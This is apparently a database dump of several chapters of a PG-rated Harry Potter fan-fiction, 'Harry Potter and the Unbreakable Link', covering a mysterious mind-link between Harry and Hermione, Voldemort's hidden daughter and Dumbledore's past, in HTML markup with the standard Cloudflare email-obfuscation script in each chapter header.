that that journey in the old palace had been the last trip the girl would need to make?\n"I, er, sort of felt it," he said at last, knowing how stupid it would sound.\n</p><p>\nHermione frowned and said sceptically, "<i>Felt it</i>?"\n</p><p>\n"Um... yeah."\n</p><p>\nBoth frowned and looked out of the window.\n</p><p>\nThen, "so," they said at the same time.\n</p><p>\n"Go on!"\n</p><p>\n"No, you go on," replied Harry going red.\n</p><p>\nHermione licked her lips, "What do we do about it?"\n</p><p>\n"I vote we go to see Dumbledore," said Harry with certainty. \n</p><p>\nHermione shook her head. "I don\'t want to tell Dumbledore. It\'s probably nothing."\n</p><p>\nHarry frowned. \n</p><p>\n"Let\'s look in the library first. There might be something there," she continued.\n</p><p>\nHarry grinned at her. "Typical!  If in doubt, read a book."\n</p><p>\n"Well," she said defensively, "that\'s the best way, so I\'ve found."\n</p><p>\nHarry agreed reluctantly. There was another silence.\n</p><p>\n"Shall we tell Ron?" Hermione asked.\n</p><p>\n"No, not yet," said Harry. "I don\'t really want to talk about it with anyone, and Ron would be just really worried."\n</p><p>\n"OK."  Hermione looked unsure of whether she agreed with Harry or not, but she didn\'t disagree. "Shall we get him back in then?"\n</p><p>\n"Yes- no! I\'ve just remembered!"\n</p><p>\n"Yes, what?" inquired Hermione, leaning forward eagerly.\n</p><p>\nHarry had just remembered how, in his dream he had called out to the girl, who he now knew was Hermione, how he had told her to watch out for the guards, and how he had saved her from getting thrown into Greek prison."\n</p><p>\nAs he finished speaking, Hermione went very white, her eyes went round, and she clutched at Harry\'s hand, as if for protection. \n</p><p>\n"What is it?" asked Harry, panicky.\n</p><p>\n"Oh Heavens, Harry," she breathed. "I think I\'ve just realised what it was."\n</p><p>\n"What what was?"\n</p><p>\n"What happened- I think I know."\n</p><p>\n"What was it?" Harry said urgently. It must have been serious to make her go so white. Hermione was usually very calm.\n</p><p>\nShe suddenly went very red and said in an unnaturally loud voice, "Oh, nothing. I was wrong. Never mind what I thought. It couldn\'t possibly have worked. Ignore me, please."\n</p><p>\nShe put her head in her hands and muttered, "Oh <i>dear</i>!"\n</p><p>\nHarry leaned over, "What do you mean? What\'s wrong?"\n</p><p>\nHermione jumped up, nearly knocking him over.  She said in a tightish voice, "I\'m going to get changed."\n</p><p>\nHarry nodded. He wished he knew what she knew and wouldn\'t tell him. It wasn\'t fair. He was just as involved. He got changed himself and stared out of the window. Crookshanks crawled onto his lap, purring. He stroked him absentmindedly. The cat sank his claws gently into Harry\'s leg. \n</p><p>\nHermione returned and got out a book without saying anything. It was a paperback novel with a moving picture on the front of a tree swaying in the wind, a very beautiful witch holding her wand out of which sparks were flying, and a tall young man riding a dragon. Flashes of lightening illuminated the sky.\n</p><p>\n"Is it good?" Harry asked cautiously. \n</p><p>\n"So so. It\'s very improbable."\n</p><p>\n"What\'s it about?"\n</p><p>\n"Here, read the blurb." She handed it over.\n</p><p>\nHarry read, \' Another fictional masterpiece from Miss Green\'s repertoire. <i>Falling in Love with Danger</i> has the same fanciful imagination that all her books convey. This one stars Diana Walker, a romantic young witch who, on the eve of her wedding to stuffy Lord Johnson, falls in love with Andrew Lovelorn, the unorthodox mystery man who rides a dragon. However, Lovelorn is not the simplest person she could have fallen in love and Diana finds that she must exercise powers she never knew she had to save him, especially when her own parents decide to have him killed. Can Lovelorn defeat The Evil Powers, including Diana\'s own closest relations, and can Diana save Lovelorn from a fate worse than death? A tremendously gripping book, <i>The Daily Prophet</i>; a well crafted plot and a magical romance, <i>A Magical Read</i>; thrilling- I was unable to put it down, <i>Witch Weekly</i>.\' Well, could you put it down?" Harry asked with a grin.\n</p><p>\nHermione sighed. "Yes. I find it extremely boring. The textbooks are more interesting. She makes up all the spells, which is simply lazy. Her style of writing is very bad too."\n</p><p>\nHarry looked over the page she had reached and skimmed over the words. <i>\'Diana stared at her father...Lovelorn\'s handsome face swan before her gleaming eyes...she shouted the final spell and as she did so another voice was heard...\'</i>\n"Looks like you\'ve reached the climax, Hermione," he said tossing it back to her. \n</p><p>\n"Thanks," she said and continued reading.\n</p><p>\nHarry stared out of the window. Just at that moment Ron came in, looking hot and bothered.\n</p><p>\n"What\'s up?" asked Harry.\n</p><p>\n"Oh, just a brush in with Malfoy and co. Nothing to speak of."\n</p><p>\n"Did he say anything in particular?" asked Hermione sharply.\n</p><p>\nRon shrugged, "Just wanted to know where Potty and Mudblood were, made a few snide comments, that sort of thing. Seemed in a good mood. Apparently Pansy Parkinson\'s going out with him now, not that I can see how that would make anyone happy, still..." Ron sat down with a philosophical shrug.\n</p><p>\n<i>This chapter has now ended.</i>\n'),
	(62, 4, '<i>Title:  Harry Potter and the Unbreakable Link (4/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" data-cfemail="493a20253f2c3a3d3b2028162f28272f202a3d202627093028212626672a26673c22" class="__cf_email__">[email protected]</a><script cf-hash="f9e31" type="text/javascript">\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  Harry loses his invisibilty cloak in a mysterious manner before his seventh year starts. Dumbledore has a past, Hermione has a dangerous secret and Voldemort is looking for someone (not Harry). Slight H/H. Rated PG. I hope you enjoy it.\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n</p><p>\n<u><b> </b></u></p><center><u><b>Harry Potter and the Unbreakable Link</b></u></center><p></p><p>\n Chapter 4- Return to Hogwarts\n</p><p>\nRon sniffed appreciatively as he walked into the Great Hall with Harry and Hermione. "I wish we didn\'t have to watch the sorting before the feast. I\'m starving," he complained. \n</p><p>\n"That is original of you, Ron." laughed Harry, "you only say that every single year."\n</p><p>\nHermione cast them a stuffy look as they sat down at the Gryffindor table.\n</p><p>\nSoon Professor McGonagall entered the room carrying the sorting hat and the three-legged stool. She was followed by a ragged line of nervous first years.\n</p><p>\nAfter the hat had finished its song, Professor McGonagall read out the names of first years from, \'Ackerly, Susannah\' to \'Vane, Kay\'.\nProfessor Dumbledore then stood up to make his speech, "Welcome to Hogwarts. Before we start the feast <i>(groan from Ron)</i>, I have a few things to say to you. As usual the forest is out of bounds to all students and the village of Hogsmeade to any students under third year."  Here he peered rather closely at a group of Ravenclaw second years who completely gave themselves away by giggling.\n</p><p>\n"We must also welcome a new member of staff. Professor Harding, Minerva\'s sister, will be joining us as Defence against the Dark Arts teacher until Christmas."\n</p><p>\nProfessor Harding was a slightly younger version of Professor McGonagall, with a weaker chin. Hermione frowned, "why is she only staying till Christmas?" she whispered to Harry.\n</p><p>\nBefore he had time to answer, Dumbledore continued, "Quidditch trials will start next week. If you wish to play for your house please contact Madame Hooch or your house captain, Harry Potter for Gryffindor; Mandy Brocklehurst for Ravenclaw; Martin Roberts for Hufflepuff and Draco Malfoy for Slytherin."\n</p><p>\n"WHAT?!" hissed Ron, livid, "Draco Malfoy, <i>captain</i>?!"\n</p><p>\n"Of course; Malcolm Baddock left last year," replied Harry gloomily, glancing over at the Slytherin table, where Malfoy was looking particularly smug (though he might have looked even happier if his girlfriend Pansy wasn\'t hanging onto his arm).\n</p><p>\nDumbledore finished, "Our head boy is Terry Boot, and our head girl, Hermione Granger. Contact them if you have any queries. I don\'t think I have anything more to say. Enjoy the feast and the year."\n</p><p>\n"About time too!" said Ron.\n</p><p></p><center>\n*\n</center><p></p><p>\nHermione slept badly. In fact she slept so badly that she woke up twice. The second time was at roughly 11 o\'clock. She sat up in bed and looked up at the alarm clock on her bedside table. It showed the date as well as the time. How could she have been so forgetful? Hermione realised with a jolt that the next day would be her birthday.\n</p><p>\nShe went back to sleep. \n</p><p>\nBut not to a dreamless sleep. Pictures of what seemed to be her life flashed through her brain, like a video on fast forward. She saw a dark room and hooded figures, then it changed and a single hooded person, who was quite small, was standing facing her. That person raised its wand and shouted unfamiliar words at her. A jet of red light shot out from the wand and the scene changed again. This time the \'video\' seemed to have fast-forwarded quite a long way because this time she recognised the scene. She was telling her ordinary muggle parents that she was a witch, seven years ago. How excited she had been! And now she saw the painfully familiar house in Greece, and she saw the guards approaching, and Harry\'s voice in her mind telling her to watch out, then- nothing.\n</p><p>\nAnd suddenly a voice boomed in her head, "THE OLD MAGIC IS AWAKENED. PREPARE YOURSELF." A flash of red light like the one in her dream illuminated her mind. She woke up immediately feeling her skin was melting wax.\n</p><p>\nShe screamed, but no sound came out. Switching on the light she grabbed her mirror, not really knowing what to expect to see. A strange face stared back- a pale face with thin, almost invisible lips and dark shrewd eyes and smooth, straight, oily black hair. The next second it was gone and Hermione Granger, pale faced and frightened stared back at her. \n</p><p>\nHermione drank some water and, shuddering slightly, looked around the dormitory at the dark, humps and listened to the regular breathing of Lavender and Parvati. It was clear that they had heard nothing.\n</p><p>\nIf she had been more awake she would have tried to understand what she had seen and heard, as it was, she was terrified and her brain was bemused. Her eyes wondered back to the clock. She had been eighteen for approximately two minutes. She was now, the first one in her class, technically an adult. She was no longer an under-age witch. \n</p><p></p><center>\n*\n</center><p></p><p>\nWhen Hermione awoke the next morning, she had no recollection of the previous night at all. She only felt happy that it was her birthday and the first day of school. \n</p><p>\nHer eyes opened on the familiar scene of the girls\' dormitory in September. A ray of autumn sun filtered through the curtains and enabled her to see Parvati sitting bouncing on her four-poster platting her hair, and Lavender applying lip gloss at her dressing table. When they saw that she was awake, they turned around and pulling out parcels cried, "Happy Birthday, Hermione!"\n</p><p>\nThey sat on the edge of her bed and insisted that she opened her presents, which she did. From Parvati she received some pink hairclips and some perfume, which she felt obliged to wear. From Lavender she had a book called, <i>A 100 Magical Tips for Improving your Appearance</i>. \n</p><p>\n"I thought you\'d like a book best," added Lavender.\n</p><p>\nHermione felt like laughing and crying at the same time. She felt a sudden affection for her two room-mates who she always pretty much ignored and had even scorned in the past. She gave them a sudden hug before descending into the common room where Harry and Ron were waiting.\n</p><p>\nIt seemed that they had got her a joint gift. It looked very like a very thick book.\n</p><p>\n"We think you\'ll like it," said Ron, almost jumping up and down with excitement as she opened it.\n</p><p>\n"It\'s the very latest edition," added Harry.\n</p><p>\nIt was a shiny, hardback edition of, <i>A Concise History of the Teachers of Hogwarts, Past and Present</i>.\n</p><p>\n"It\'s a companion to your favourite book," Harry said, a mischievous glint in his eye.\n</p><p>\n"Which is?"\n</p><p>\n"<i>Hogwarts, A History</i>!" chorused Harry and Ron at the same time.\n</p><p>\nHermione seemed to see the last six years of her life flash by and she was suddenly acutely aware that she had only one year left at Hogwarts.\n</p><p>\n"You don\'t know what this means to me," she said in a low voice. \n</p><p>\n"So you like it?" asked Harry, anxiously.\n</p><p>\n"Idiot! Of course!"\n</p><p>\nRon seemed to be thinking deeply, then said nervously, "Er, Hermione, I want to say something to you."\n</p><p>\nHermione\'s eyes narrowed visibly but she replied, "All right then."\n</p><p>\nHarry coughed and muttered, "I\'ll just, er, go then, shall I?"\n</p><p>\n"No!" cried Ron grabbing his arm, "I want you to be a witness."\n</p><p>\n"A witness?" asked Hermione.\n</p><p>\n"Yes. Hermione, I forgive you."\n</p><p>\n"Forgive me?"\n</p><p>\n"Yes, for slapping me last year at the ball. You had provocation. I apologise."\n</p><p>\n"Apologise? I\'m the one who should do that; I was hot and irritable. Anyway, I forgive you for kissing me, though you mustn\'t do it again."\n</p><p>\n"I won\'t," sighed Ron.\n</p><p>\nThere was a pause. Then Hermione burst into tears and gave Ron a massive hug.\n</p><p></p><center>\n*\n</center><p></p><p>\nHere the author must fill in spaces in the reader\'s knowledge. To bring the reader up to date we must now acknowledge that in the summer before her sixth year, Hermione had broken up with Viktor Krum, the Bulgarian seeker. When asked why, she was evasive. Not even Harry or Ron knew the reason. She had visited him twice in Bulgaria and after the second visit she had merely said that they had had, \'a difference of opinion and had broken up by mutual consent.\' \n</p><p>\nMeanwhile Cho Chang, a Ravenclaw in the year above, had been devastated when her boyfriend, Cedric Diggory, who she had truly loved, had died at the end of the year before. Harry had had a bit of a crush on her, but had never had the nerve to ask her out. \n</p><p>\nEventually it was Cho herself who came to his rescue. She was stuck for a partner for the Seniors\' Ball since she did not want a boyfriend after Cedric. However, she liked Harry and asked him to accompany her. Harry had been the only fifth year going, but he had enjoyed it and after a while he began to grow out of his crush for her and to love her in a much more fraternal way. It was the beginning of a life long friendship. \n</p><p>\nHarry found Cho sensible and intelligent, though bitter about Cedric\'s death. She was determined to become an Auror and to avenge his death, as well as never marry. He found himself telling her things he had never told anyone else before, including Ron and Hermione; like how the Dursleys\' really treated him and how he had blamed himself for Cedric\'s death. Cho reminded Harry of Hermione a bit. \n</p><p>\nAs Harry spent more time with Cho, he also noticed how little he knew of the lives of Ron and Hermione. When he was playing Quidditch or fighting Voldemort, what were they doing? The more he thought about this, the more he noticed that Ron liked Hermione. He didn\'t know about Hermione\'s feelings, but Ron\'s were very obvious. It occurred to him that they might already be going out behind his back as it were, and Hermione was just better at hiding it. The idea hurt him, but he had to consider it.\n</p><p>\n He wasn\'t to know just how wrong he had been until the Seniors\' Ball in their sixth year. Ron went with Hermione, and Harry had gone with Cho. At the end of a very romantic, slow dance, Cho had drawn Harry\'s attention to Ron and Hermione. Suddenly Ron had kissed Hermione, not on the cheek, but firmly on the lips! The whole ball had watched as Hermione had drawn back, red in the face, and slapped Ron hard across the face. She had only ever slapped someone before once, and that had been Malfoy. She then left the hall and wasn\'t seen by anybody until the next day when she wasn\'t speaking to Ron. Ron seemed happy with this arrangement; they were both furious with each other. \n</p><p>\nIt was their worst fall out yet. They did not speak to each other for the whole Spring term, the Easter holidays and half of the Summer term. In the end, they had called a truce and started speaking again, probably for Harry\'s sake who was acting as a go-between. Still it seemed that they had not forgiven each other.\n</p><p>\nNow fortunately, it seemed that they had and life could continue normally for Harry, Ron and Hermione\'s seventh year. They hoped.\n</p><p><i>This chapter has now ended.</i>\n'),
	(62, 5, '<i>Title:  Harry Potter and the Unbreakable Link (5/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  Harry loses his invisibilty cloak in a mysterious manner before his seventh year starts. Dumbledore has a past, Hermione has a dangerous secret and Voldemort is looking for someone (not Harry). Slight H/H. Rated PG. I hope you enjoy it.\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 5- The Search Begins \n</p><p>\nHermione was eager to get to the library and after lessons had finished for the morning, she set off for the above place.\n</p><p>\nShe knew roughly what type of book she wanted, and she only had to find the right chapter in it.  Eventually she found it in a thick volume called, <i>Magical Bonds in Detail</i>.\n</p><p>\nShe did not read the chapters entitled \'Wand Twinning\' and \'The Power of Love\', but stopped at a chapter called, \'The Unbreakable Link.\'  She closed her eyes a second, then muttered, "All or nothing, I suppose.  Oh, well.  Here I go."\n</p><p>\nShe read on,\n</p><p>\n<i>\'The Unbreakable Link is some of the oldest magic that exists.  In fact, it is sometimes called, \'The Old Magic\'.  It is very uncommon and is only found once or twice a century.\n</i></p><p>\n\'The Unbreakable Link has sometimes been called telepathy, but this is incorrect.  It goes much deeper than telepathy.  It is the ability for two people, who \'have the Link\' to communicate in their minds at any distance and in any condition.  It is called unbreakable because once the two people have mastered their art, nothing less than death can destroy it.\n</p><p>\n\'It is usual for people who have the Link to be of different gender, but cases have been known where they have not.  There have been no examples, however, of any non-pureblood witches or wizards having the Link, but it is probably possible.  (See end of chapter for list of all those with the Link).\n</p><p>\n\'In a few cases so far, only three in fact, is was possible for the couple to be able to pass objects between them.  This is very rare though.\n</p><p>\n\'The Link does not properly appear until the couple are both of age, though it may show up a little just before this and the communication lines could be very unclear.\n</p><p>\n\'In some cases people with the link have fallen in love and in only one known case, have had a child.  This child was Godric Gryffindor.\n</p><p>\n\'If a child is born to a couple with the Link then, while the wand power of their parents is increased if the spell is said at the same time, then the child can do magic without a wand at all, as well as being able to read anybody\'s mind and resist death.  Godric Gryffindor was \'killed\' no less than six times, mainly by his cousin Salazaar Slytherin, who hated him.\'\n</p><p>\nHermione stopped reading, "Slytherin was Gryffindor\'s cousin?  That means that Gryffindor must have had both good and bad blood in his veins.  Good and evil combined.  How strange!"\n</p><p>\nNext she came upon a list of all the people in history who had had the Link.  There were only about twenty pairs.  As she skimmed down the list, her eye caught the following entry, right at the bottom:-\n</p><p></p><div class="center"><i>\'Professor Albus Dumbledore (1930-) and Professor Aïda Thompson (1935-1965)\'</i></div>\n<p></p><p>\nHermione stopped abruptly, "Dumbledore!!  No wonder he was the only person Voldemort was scared of.  After all, if the linked couple say the same spell at the same moment then the power of the curse is, say, tripled.  For all his efforts at immortality, Voldemort would be instantly killed by Dumbledore and this Professor Thompson.  She sounds like a teacher.  But- oh!  She\'s dead.  She was only thirty.  Poor thing.  Poor Dumbledore.  But with a name like Aïda...!"\n</p><p>\nHere, her reflections were interrupted by the bell.\n</p><p></p><div class="center">*</div><p></p><p>\nMeanwhile in the Great Hall Harry and Ron were finishing lunch.  They had been joined by Ginny Weasley and her friend Pippa.\n</p><p>\nHarry was just eating his sausage roll, when he suddenly remembered something.  His dream!  Voldemort had a daughter and she was here at Hogwarts. \n</p><p>\nHe jumped up, almost knocking his chair over, "Hey, Ron, come on!"\n</p><p>\n"Where?" said Ron.\n</p><p>\n"Somewhere!" said Harry, grabbing Ron\'s arm.  He didn\'t want to talk about his dream with Ginny and Pippa.  He tried to drag Ron away from the table.  \n</p><p>\n"Where the hell are you going, Harry?" he hissed, in a bad mood.\n</p><p>\n"Dumbledore, it\'s urgent!" Harry hissed back.\n</p><p>\n"Oh."  Ron allowed himself to be dragged reluctantly away from his sausage roll, chips and baked beans and two astonished girls.\n</p><p>\nThey raced up to Dumbledore\'s office, Ron still in a state of shock.  When they reached the stone gargoyle, however, he asked, "Whatever is going on here?"\n</p><p>\n"A dream I had, about Voldemort.  I forgot it before."\n</p><p>\nRon stared at him.  Harry, however, said the password to the gargoyle, \'Chocolate Frogs\'.  Hermione, who was head-girl, had told him.\n</p><p>\nThey climbed onto the moving staircase, Ron opening and shutting his mouth like a fish, his brain obviously still with his lunch.  As they reached the top, they heard a voice, a raised voice which belonged to Harry\'s godfather, Sirius.  Having been aquitted of his previous charges when Peter Pettigrew was proved to be alive, he had replaced Hagrid as their Care of Magical Creatures teacher when Hagrid and Madame Maxime had left to go in pursuit of the giants.\n</p><p>\nHarry and Ron hesitated outside Dumbledore\'s door.\n</p><p>\n"I can\'t understand it, Professor!  Why won\'t you tell me her name!  She\'ll be a fellow teacher, for goodness sake!  Minerva knows!  Why not me?"\n</p><p>\nDumbledore did not reply, but merely opened the door disclosing two guilty eavesdroppers.\n</p><p>\n"We didn\'t mean to listen," Harry interposed, before greeting Sirius.\n</p><p>\n"You wanted to tell me something, Harry?" asked Dumbledore.\n</p><p>\n"Yes, it\'s about a dream I had."\n</p><p>\n"Oh, yes, I\'ve been thinking-" Dumbledore replied, but Harry interrupted, "Not that one.  I had another one."\n</p><p>\n"Indeed?"  Dumbledore and Sirius looked interested and Ron confused.\n</p><p>\n"It was about Voldemort."  Dumbledore looked more alert.\n</p><p>\n"It was like a flashback.  My parents were alive and I was about one year old.  Voldemort thought you were their secret keeper and couldn\'t attack them because he was afraid of you.  Then he said he would have to resort to plan B, or something.  He then summoned someone he called \'My Lady\'.  She was a Death Eater and was carrying a baby."\n</p><p>\nSirius muttered something, but Harry continued, "The baby was Voldemort and this woman\'s daughter."\n</p><p>\nDumbledore suddenly stood up and said, "What was the woman\'s name?"\n</p><p>\n"Estella Green, I think," Harry said, trying to remember.\n</p><p>\nDumbledore sat down again, looking thoughtful, "So, Estella Green.  Interesting."\n</p><p>\nThe other three looked at him curiously.\n</p><p>\n"Estella Green was a pupil here many years ago.  She was in Slytherin, a few years below Tom Riddle, or Voldemort.  Whereas Riddle always paraded his brilliance, she never did.  Hardly anyone remembers Estella, I imagine.  She was very intelligent.  One of the most clever female students ever to come to Hogwarts.  She hardly ever got less than 100% in anything.  But she didn\'t have many friends.  She kept to herself a lot and never told anyone about her good grades.  I have always wondered what happened to her.  Of course she would have been a rival for Voldemort, if she hadn\'t joined his side.  Well, Harry, what part in this plan of Voldemort\'s does his daughter play?"\n</p><p>\nHarry explained, "Voldemort was going to change her appearance.  I can\'t remember the spell-"\n</p><p>\n"Transmorphio," said Dumbledore quietly, "Estella excelled in that."\n</p><p>\n"Yeah, that one.  Anyway, she was going to be adopted and brought up by muggles.  Then, because she\'s about my age, she\'ll be sent to Hogwarts and no-one would know that she was Voldemort\'s daughter.  Through her Voldemort could get to me, and through me, my parents."\n</p><p>\n"I see.  But even though we wouldn\'t recognise her, she wouldn\'t know she was his daughter either."\n</p><p>\n"That was what Estella thought.  He replied that she would still have the brain and character of his daughter."\n</p><p>\n"Indeed."\n</p><p>\n"So who is she?" asked Sirius, speaking for the first time.\n</p><p>\n"I don\'t know," replied Dumbledore, "but we must find out.  So far we know that she is roughly Harry\'s age and she doesn\'t look like Voldemort.  She thinks she is muggle-born.  For less concrete facts, I think I can safely say that she will be very intelligent indeed."\n</p><p>\nHarry suddenly remembered something, "Voldemort mentioned a prophecy, that the son of light and the daughter of dark would together defeat the light, but Estella remembered it differently.  She said they would defeat either the light or the dark."\n</p><p>\nDumbledore\'s eyes lit up, "Trelawney\'s first real prediction.  Estella was the one who remembered it right, though.  This may throw us some luck.  Do you understand, Harry?"\n</p><p>\nHarry shook his head.\n</p><p>\n"Well, look at this prediction carefully.  What it\'s saying is that the daughter of dark, who Voldemort, I agree with him here, is his daughter-  Does she have a name Voldemort gave her, by the way?"\n</p><p>\n"Elvira, I think."\n</p><p>\n"Right.  -That Elvira and the son of light, who is you, Harry-"\n</p><p>\n"Me!?" Harry cried, astonished.\n</p><p>\n"You, Harry.  You\'re a descendent of Godric Gryffindor.  I\'m not going into details now, but you are.  The prophecy reads that Elvira and Harry will join forces, and will join Voldemort, or defeat him for the last time."\n</p><p>\n"I\'m not joining Voldemort!" cried Harry.\n</p><p>\n"Excellent, I didn\'t think you would.  That means that Elvira will in all probability join and help us.  Either, you see, she\'s a very good actress and is now communicating with Voldemort as a spy and I haven\'t noticed, or she has no idea who she is.  This could be very lucky.  We could have a very intelligent, powerful, cunning and ruthless young witch on our side!  Still, first we must find her, and that\'s not going to be easy..."\n</p><p></p><div class="center">*</div><p></p><p>\n"What do you mean you don\'t know who she is?"\n</p><p>\nWormtail cowered silently.\n</p><p>\n"You\'ve been looking for her since I came to power again and you tell me you still don\'t know her name.  Wormtail, how many mudbloods are there in the sixth and seventh years at Hogwarts?  How many?  Do you even know that?"\n</p><p>\n"Yes, my Lord," he took a piece of parchment out of his pocket, "there are five muggle born girls in the seventh year and three-" \n</p><p>\n"I don\'t want to know the figers, idiot!" interrupted Voldemort.\n</p><p>\n"But surely, my Lord, you know who she is?  She <i>is</i> your daughter!" continued Pettigrew.\n</p><p>\n"Use your brain, Wormtail.  If I knew who she was, I wouldn\'t be wasting my time doing this, would I?"\n</p><p>\n"No my Lord."\n</p><p>\n"The only person who knows who the dratted girl is, is Estella Green, but I haven\'t seen either her, or my daughter since I told Estella to take the child and take her to be brought up with muggles.  In fact, once you have found Elvira, you can find her mother.  The girl is the most pressing thing at the moment.  We have only until July to get Harry Potter, then he leaves school and is separated from my daughter."\n</p><p>\n"What shall I do, my Lord?"\n</p><p>\n"Go and interview the parents of those twenty-two girls."\n</p><p>\n"In-interview them?"\n</p><p>\n"What did I just say?  Go and see them.  I don\'t care how you get them to talk, just make them tell you about their daughter.  What she looks like, what her character is, her date of birth, where she was born, her name, what her parents remember of the birth... that sort of thing.  Bring me the results back here in two weeks time."\n</p><p>\n"Yes, my Lord," Wormtail replied and turned to leave, "What do I do if they don\'t want to talk?"\n</p><p>\n"Make them talk," Voldemort replied ominously as Wormtail left the room.\n</p><p>\nThe search was well and truly on. \n</p><p><i>This chapter has now ended.</i>\n</p><p>\n'),
	(62, 6, '<i>Title:  Harry Potter and the Unbreakable Link (6/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  Harry loses his invisibilty cloak in a mysterious manner before his seventh year starts. Dumbledore has a past, Hermione has a dangerous secret and Voldemort is looking for someone (not Harry). Slight H/H. Rated PG. I hope you enjoy it.\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 6- Aïda Thompson \n</p><p>\nThe next few weeks were very busy for Harry, Ron and Hermione.  Harry was having Quidditch tryouts most of the time.  He needed a new chaser and a new keeper.  Eventually he got Ron to try out for keeper, which he did successfully.  All he needed now was a faster broom.  He tried to get Hermione to become the chaser, but she put her foot down, "Do you really think you\'ll win the cup with a chaser who can\'t even get off the ground without help?"\n</p><p>\nHermione\'s interests lay far away from Quidditch.  She concentrated on working and researching and, when she had the time, reading for relaxation.  One such book she liked to read was her birthday present from Harry and Ron, <i>A Concise History of the Teachers of Hogwarts, Past and Present</i>.\n</p><p>\nShe learned, for instance, that Circe Malediction, who had taught Astronomy in the 19th Century, had regularly turned pupils into pigs for apparently no reason. (She had later been discovered to be mad.)  She found that their current Defence against the Dark Arts teacher, Professor Harding was McGonagall\'s sister and that she was separated from her third marriage.  Her daughter, Marisa Goldfinger (1st marriage) was Fudge\'s deputy.\n</p><p>\nAnother thing Hermione unearthed was that Hogwarts had had it\'s own mystery when Aïda Thompson had disappeared.  Hermione had heard of Professor Thompson before.  She had been in <i>Magical Bonds in Detail</i>.  She had had the Unbreakable Link with Dumbledore.  It was for this reason that Hermione read Aïda\'s panel extremely carefully and with great interest.\n</p><p>\nThere was a picture of Aïda Thompson.  She was a small lady with a heart shaped face.  She had delicate features and looked fine boned.  Her eyes were dark, emerald green and her hair was light gold and tied into a bun.  Her expression was serene and peaceful.  She looked grave without being miserable.  Her eyes contradicted all this, however.  There was an intensity and energy about them that frightened Hermione slightly.  They hardly ever blinked.  Underneath was written the following biography:-\n</p><p>\n<i>\'Aïda Thompson was best known for her disappearance and subsequent murder.  However there was far more to Miss Thompson than what The Daily Prophet says.  \n</i></p><p>\nShe was born Aïda Maria Thompson to an English father and an Italian mother in 1935 in Cambridge.  Her mother was a strict Roman Catholic and Aïda was brought up in that faith which she remained true to until her death.  She was sent to Hogwarts when she was eleven in 1946, where she met the hero Albus Dumbledore who was then in his sixth year having just defeated dark wizard Grindelwald the year before.  It wasn\'t until her seventh year that she began to suspect that she had any bond with the young Transfiguration teacher.  What she had at first only suspected she soon discovered to be true.  She had the Unbreakable Link with Professor Dumbledore.\n</p><p>\n\'She became a teacher in 1956 of Defence against the Dark Arts.  It was then that she really got to know Albus Dumbledore.  In the latter years of her life they were inseparable.\n</p><p>\n\'In 1961 the dark wizard Voldemort began to collect supporters.  However, he could not hope to take control while Dumbledore and Miss Thompson were together, and as they were hardly ever out of each other\'s sight, to get Aïda on her own would have been impossible.  Miss Thompson\'s powers were nowhere as great as Dumbledore\'s and on her own she could easily have been killed, but together they would be truly formidable.\n</p><p>\n\'However, on the 2cd of September 1964, Professor Thompson disappeared from Hogwarts, 